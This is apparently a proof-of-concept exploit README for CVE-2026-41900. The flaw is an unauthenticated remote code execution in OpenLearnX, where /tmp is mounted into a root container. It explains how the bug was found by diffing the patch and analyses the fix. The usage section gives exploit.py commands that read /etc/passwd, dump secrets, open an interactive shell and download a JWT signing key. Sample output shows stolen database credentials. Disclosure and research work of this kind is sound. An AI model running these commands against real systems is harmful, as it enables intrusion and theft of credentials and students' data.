Share
## https://sploitus.com/exploit?id=43546557-02D2-5564-B898-D4A0899DCB36
OpenLearnX-RCE

  


  OpenLearnX Unauthenticated RCE via Container Volume Mount


  Diff-based discovery โ†’ Silent patch โ†’ Sandbox escape โ†’ Full /tmp disclosure




| Property                  | Value                                                    |
|---------------------------|----------------------------------------------------------|
| **Name**                  | OpenLearnX-RCE                                            
| **CVE**                   | CVE-2026-41900                                           |
| **GHSA**                  | GHSA-8h25-q488-4hxw                                      |
| **Type**                  | Unauthenticated Info Disclosure / RCE                    |
| **Affected**              | OpenLearnX 

---

## How I Found It

[OSDC](https://christbowel.github.io/OSDC/silent.html) (my automated patch intelligence pipeline) flagged a silent advisory on OpenLearnX โ€” GHSA-8h25-q488-4hxw dropped with zero technical details. I pulled the fix commit (`14765d7`) and diffed it against its parent (`d19c4e4`).

The diff told the whole story: `execute_in_container()` in `backend/routes/coding.py` was gutted and replaced by a hardened `real_compiler_service`. The old code wrote user-supplied code to a tempfile, then mounted `os.path.dirname(temp_file)` โ€” which resolves to `/tmp` โ€” into a sibling Docker container as a read-only volume. No `user=`, no `cap_drop`, no `security_opt`. Root by default.

The kicker: the `compiler` blueprint at `/api/compiler/execute` has **no authentication decorator**. Any unauthenticated request can trigger code execution through the vulnerable container setup.

I isolated the pre-patch code in a local lab, confirmed all vectors, and wrote this PoC.

---

## Vulnerability Summary

```
POST /api/compiler/execute  (no auth)
     โ”‚
     โ–ผ
execute_in_container(user_code)
     โ”‚
     โ”œโ”€ tempfile.NamedTemporaryFile(suffix='.py')  โ†’ /tmp/tmpXXXXXX.py
     โ”‚
     โ”œโ”€ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
     โ”‚                     โ”‚
     โ”‚                     โ””โ”€ resolves to /tmp โ†’ ENTIRE /tmp mounted into container
     โ”‚
     โ”œโ”€ No user=        โ†’ runs as root (UID 0)
     โ”œโ”€ No cap_drop     โ†’ default Docker capabilities
     โ”œโ”€ No security_opt โ†’ default seccomp profile
     โ”‚
     โ””โ”€ Attacker reads: secrets, creds, JWT keys, other users' submissions
```

---

## Gadgets

| Gadget         | Severity   | CWE     | Description                                |
|----------------|------------|---------|--------------------------------------------|
| `listing`      | HIGH       | CWE-538 | Directory listing of /tmp via volume mount  |
| `secrets`      | CRITICAL   | CWE-538 | Read credentials, keys, configs from /tmp   |
| `submissions`  | HIGH       | CWE-538 | Read other students' code submissions       |
| `rootcheck`    | MEDIUM     | CWE-250 | Confirm UID 0 (root) execution              |
| `caps`         | MEDIUM     | CWE-250 | Dump effective Linux capabilities           |

---

## Installation

```bash
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# No dependencies โ€” stdlib only
chmod +x exploit.py
```

---

## Usage

```bash
# Check if a target is vulnerable
python3 exploit.py --check http://target:5000

# Run all gadgets + generate evidence JSON
python3 exploit.py --exploit http://target:5000

# Execute a single command
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000

# Drop into interactive shell
python3 exploit.py --shell http://target:5000

# Run specific gadgets
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
```

### Shell Commands

Once inside `--shell`, you get a pseudo-interactive shell. Each command spawns a new ephemeral container.

```
root@container:/app# id
uid=0(root) gid=0(root)

root@container:/app# ls -la /app/
total 28
-rw-r--r--  1 root root  121 May  6 openlearnx_db_creds.conf
-rw-r--r--  1 root root  235 May  6 jwt_signing_key.pem
-rw-r--r--  1 root root  298 May  6 student_submission_8842.py

root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:S3cretPa$$w0rd@db.internal:27017/openlearnx

root@container:/app# download jwt_signing_key.pem
  [+] Downloaded jwt_signing_key.pem (235B)

root@container:/app# exit
```

---

## Lab Setup

To reproduce locally:

```bash
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
```

The lab deploys a containerized Flask app reproducing the pre-patch `execute_in_container()` with:
- Docker socket mounted (sibling container pattern)
- `/tmp` shared between host and app container
- Seed files simulating secrets and student submissions

---

## Fix Analysis

Commit `14765d7` replaced `execute_in_container()` with `real_compiler_service` which applies:

```python
container = docker_client.containers.run(
    image,
    volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}},  # isolated tmpdir per exec
    cap_drop=["ALL"],                                           # drop all capabilities
    security_opt=["no-new-privileges:true"],                    # prevent priv esc
    user="65534:65534",                                         # nobody, not root
    ...
)
```

---

## Timeline

| Date       | Event                                               |
|------------|-----------------------------------------------------|
| 2026-04    | OSDC flags silent advisory GHSA-8h25-q488-4hxw      |
| 2026-04    | Diff analysis of commit `14765d7` vs parent `d19c4e4`|
| 2026-05    | Lab reproduction and PoC development                 |
| 2026-05-06 | Full PoC confirmed โ€” all 5 vectors validated         |

---

## Disclaimer

This tool is provided for **authorized security testing and educational purposes only**. Only use against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal.

---


  Christbowel ยท christbowel.com ยท Balgo Security Team